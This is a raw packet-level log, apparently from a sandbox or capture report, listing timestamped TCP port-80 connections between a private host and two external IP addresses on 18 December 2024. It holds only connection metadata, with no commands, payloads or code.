Dec 18, 2024 15:56:32.902121067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.902710915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.902775049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.902786970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.903271914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.903290033 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.903347015 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.903714895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.903759956 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.903789997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.904225111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.904371977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.904376030 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.904972076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.905056000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.905086994 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.905570030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.905680895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.905754089 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.906454086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.906491995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.906502962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.907000065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.907094002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.907145977 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.907747984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.907833099 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.907834053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.908400059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.908444881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.908514023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.909115076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.909192085 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.909229040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.909897089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.909986019 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.909989119 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.910552979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.910610914 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.910749912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.911433935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.911478996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.911497116 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.912373066 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.912425995 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.912518024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.912997961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.913028955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.913081884 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.913722038 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.913820028 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.913851023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.914407015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.914520979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.914565086 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.915163994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.915297985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.915344954 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.915851116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.915899038 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.915904999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.916414022 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.916481972 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.916517973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.917140007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.917196989 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.917207956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.917717934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.917809963 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.917826891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.918533087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.918587923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.918631077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.919081926 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.919142962 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.919245005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.919811010 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.919856071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.919904947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.920535088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.920583963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.920592070 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.921236992 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.921295881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.921299934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.921979904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.922046900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.922094107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.922688961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.922727108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.922748089 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.923377037 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.923507929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.923635006 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.924041033 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.924201965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.924261093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.924799919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.924890995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.924990892 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.925483942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.925643921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.925697088 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.926213026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.926270962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.926327944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.927000999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.927144051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.927206039 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.927663088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.927710056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.927716017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.928278923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.928349018 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.928442001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.928488016 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.928996086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.929059982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.929106951 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.929763079 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.929809093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.929842949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.930419922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.930465937 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.930548906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.931205034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.931320906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.931375027 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.931837082 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.931957960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.932032108 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.932562113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.932651997 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.932821035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.933284044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.933372021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.933568001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.933964968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.934012890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.934020042 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.944430113 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.948393106 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.948451042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.948482037 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.948510885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.949037075 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.949142933 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.949162960 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.949207067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.950659990 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.950700045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.950752974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.952281952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.952328920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.952390909 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.952430964 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.953944921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.953999043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.954024076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.954070091 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.955580950 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.955636978 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.955705881 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.955806017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.957251072 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.957288980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.957335949 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.958772898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.958854914 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.958898067 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.958940983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.960367918 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.960424900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.960463047 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.960519075 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.962011099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.962018967 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.962066889 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.963363886 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.963479996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.963623047 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.964952946 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.964982986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.964997053 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.965022087 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.966407061 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.966706991 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.966762066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.968153954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.968198061 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.968208075 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.968278885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.969479084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.969651937 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.969727993 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.970962048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.971085072 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.971088886 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.971134901 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.972413063 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.972531080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.972578049 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.973948956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.974128962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.974204063 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.975663900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.975758076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.975816011 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.977102995 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.977207899 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.977303028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.977361917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.978485107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.978574038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.978626013 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.980046034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.980109930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.980142117 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.980247974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.981545925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.981638908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.981690884 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.982950926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.983006001 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.983067036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.983117104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.984463930 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.984561920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.984698057 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.984786987 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.985982895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.986068964 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.986126900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.987710953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.987752914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.987796068 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.988984108 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.989125013 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.989139080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.989191055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.990488052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.990550041 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.990552902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.990629911 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.991997957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.992058992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.992136955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.992206097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.993650913 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.993719101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.993786097 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.993865967 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.995934010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.995990992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.996000051 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.996047974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.996820927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.996887922 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.996892929 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.996979952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.998049974 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.998158932 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.998214960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.999543905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.999603033 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.999686003 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.999769926 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.000967026 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.001046896 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.001127958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.001176119 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.002600908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.002656937 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.002718925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.002861977 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.004254103 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.004337072 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.004393101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.004448891 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.005546093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.005662918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.005677938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.005913973 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.007106066 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.007231951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.007250071 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.007287979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.008553028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.008616924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.008657932 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.008733988 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.010097980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.010186911 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.010215044 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.010298967 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.011562109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.011620045 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.011811972 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.011902094 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.013124943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.013176918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.013200998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.013259888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.014581919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.014657974 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.014664888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.014851093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.016066074 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.016186953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.016311884 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.016340017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.017561913 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.017668009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.017682076 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.017716885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.019175053 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.019220114 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.019269943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.019438028 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.020675898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.020735979 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.020824909 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.022068977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.022125959 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.022131920 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.023122072 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.023803949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.023868084 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.023876905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.023932934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.025172949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.025264025 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.089657068 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.089715004 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.089880943 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.089998007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.090106964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.090179920 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.090842962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.090945005 CET	80	49801	185.185.71.170	192.168.2.10
